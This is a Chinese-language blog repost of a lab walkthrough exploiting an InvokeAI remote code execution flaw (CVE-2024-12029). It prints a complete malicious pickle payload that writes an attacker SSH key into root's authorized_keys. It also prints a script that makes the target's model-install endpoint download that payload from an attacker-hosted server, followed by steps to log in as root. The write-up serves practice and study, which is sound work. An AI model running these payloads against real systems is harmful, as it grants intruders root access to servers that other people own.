news 2026/3/13 11:44:06

InvokeAI远程代码执行漏洞实战演练:从漏洞发现到利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
InvokeAI远程代码执行漏洞实战演练:从漏洞发现到利用

InvokeAI_RCE | PG Walkthrough

搜索“invokeai_rce”,你很快就能找到CVE-2024-12029。事实证明,“huntr”是新的AI/ML CVE网站。

huntr - 世界上第一个AI/ML漏洞赏金平台
世界上第一个AI/ML漏洞赏金平台
世界上第一个AI/ML漏洞赏金平台
huntr.com^

基本上按照此链接中的概念验证进行操作。解决此靶机的主要技巧是找到该链接。

靶机的描述建议创建一个密钥,并使用载荷将id_rsa.pub上传到root用户的authorized_keys文件中。

首先,使用以下命令创建密钥:
ssh-keygen
复制id_rsa.pub,并将其用于ssh.py中的载荷。

使用ssh.py,如上文链接中的PoC所示,生成载荷。

ckpt文件将把公钥回显到目标机器的root用户的authorized_keys文件中。

importpickleclassPayload:def__reduce__(self):importosreturn(os.system,('echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA0mDlI9bbgZq0XYTKvG+jo/Q6/By7bxTP6VwRqs3sh1 root@kali" >> /root/.ssh/authorized_keys',))defgenerate_payload():# Not .pklwithopen('payload.ckpt','wb')asf:pickle.dump(Payload(),f)generate_payload()

在payload.ckpt所在位置设置一个Web服务器,并在exploit.py中引用它以执行载荷(将攻击者的id_rsa.pub公钥粘贴到目标的root用户authorized_keys文件中)。

importrequests url="http://192.168.159.218:9090/api/v2/models/install"params={"source":"http://192.168.45.227:8080/payload.ckpt","inplace":"true"}response=requests.post(url,params=params,json={})print(response.text)

确保为id_rsa文件赋予必要的权限(chmod 600 id_rsa),然后使用通过ssh-keygen生成的id_rsa密钥以root用户身份进行SSH连接。
CSD0tFqvECLokhw9aBeRqlyK5KMpaklojJBUegXcB9J+/111yYeGSJSiNtXQwSVQ0pW+HI2mbOG2VnyH8b7ErlJ21+8esbpf+7cQT5JJbS3PF4agwWGfdflw3pgF9XrX
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/13 7:29:54

亲测好用8个AI论文平台,助你搞定研究生论文写作!

亲测好用8个AI论文平台,助你搞定研究生论文写作! AI 工具如何成为研究生论文写作的得力助手 在当今学术研究日益数字化的背景下,AI 工具正逐渐成为研究生论文写作的重要助力。尤其是在面对论文撰写、修改和降重等繁琐任务时,AI 技…

作者头像 李华
网站建设 2026/3/13 8:13:07

【高阶技巧曝光】:在.NET 6+中实现跨平台权限继承的3种高级模式

第一章:Shell脚本的基本语法和命令Shell脚本是Linux/Unix系统中自动化任务的核心工具,通过编写可执行的文本文件,用户能够组合命令、控制流程并处理数据。脚本通常以#!/bin/bash开头,声明解释器路径,确保系统正确解析后…

作者头像 李华
网站建设 2026/3/13 21:32:53

为什么需要大量Token?HeyGem语音识别与合成耗资源

为什么需要大量Token?HeyGem语音识别与合成耗资源 在AI内容创作领域,数字人视频生成系统正变得越来越普遍。教育机构用它批量制作讲师讲解视频,客服平台借助虚拟助手提升交互体验,媒体公司则依靠AI主播实现24小时新闻播报。这些应…

作者头像 李华
网站建设 2026/3/13 9:49:47

别再手动配置权限了!C#跨平台继承机制自动化实现全攻略

第一章:别再手动配置权限了!C#跨平台继承机制自动化实现全攻略 在现代软件开发中,权限管理已成为保障系统安全的核心环节。随着 .NET 跨平台能力的不断增强,开发者需要在 Windows、Linux 和 macOS 上实现一致且高效的权限控制策略…

作者头像 李华
网站建设 2026/3/14 4:10:12

C# AOP编程不再难:手把手教你搭建高性能跨平台拦截器框架

第一章:C# AOP编程与跨平台拦截器概述面向切面编程(AOP)是一种允许开发者将横切关注点(如日志记录、异常处理、性能监控等)从业务逻辑中解耦的编程范式。在C#中,AOP能够通过代理模式、特性(Attr…

作者头像 李华